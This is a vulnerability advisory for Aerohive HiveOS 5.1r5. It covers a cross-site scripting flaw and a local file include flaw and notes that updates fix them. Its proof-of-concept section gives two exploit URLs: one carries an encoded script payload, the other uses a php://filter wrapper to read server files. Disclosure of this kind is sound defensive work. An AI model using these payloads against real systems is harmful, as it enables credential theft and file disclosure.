Aerohive HiveOS Cross Site Scripting and Local File Include Vulnerabilities

BID:68819

Info

Aerohive HiveOS Cross Site Scripting and Local File Include Vulnerabilities

Bugtraq ID: 68819
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 12 2014 12:00AM
Updated: Jul 12 2014 12:00AM
Credit: DearBytes
Vulnerable: Aerohive HiveOS 5.1r5
Aerohive HiveOS 0
Not Vulnerable: Aerohive HiveOS 6.1r5

Discussion

Aerohive HiveOS Cross Site Scripting and Local File Include Vulnerabilities

Aerohive HiveOS is prone to a cross-site scripting vulnerability and a local file-include vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the webserver process.

Versions prior to HiveOS 6.1r5 are vulnerable.

Exploit / POC

Aerohive HiveOS Cross Site Scripting and Local File Include Vulnerabilities

An attacker can exploit these issues through a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.

http://www.example.com/index.php5?ERROR_INFO=Ij48c2NyaXB0PmFsZXJ0KERlYXJCeXRlcyk7PC9zY3JpcHQ+

http://www.example.com/action.php5?_action=get&_actionType=1&_page=php://filter/convert.base64-encode/resource=ManagementAP

Solution / Fix

Aerohive HiveOS Cross Site Scripting and Local File Include Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

Aerohive HiveOS Cross Site Scripting and Local File Include Vulnerabilities

References:
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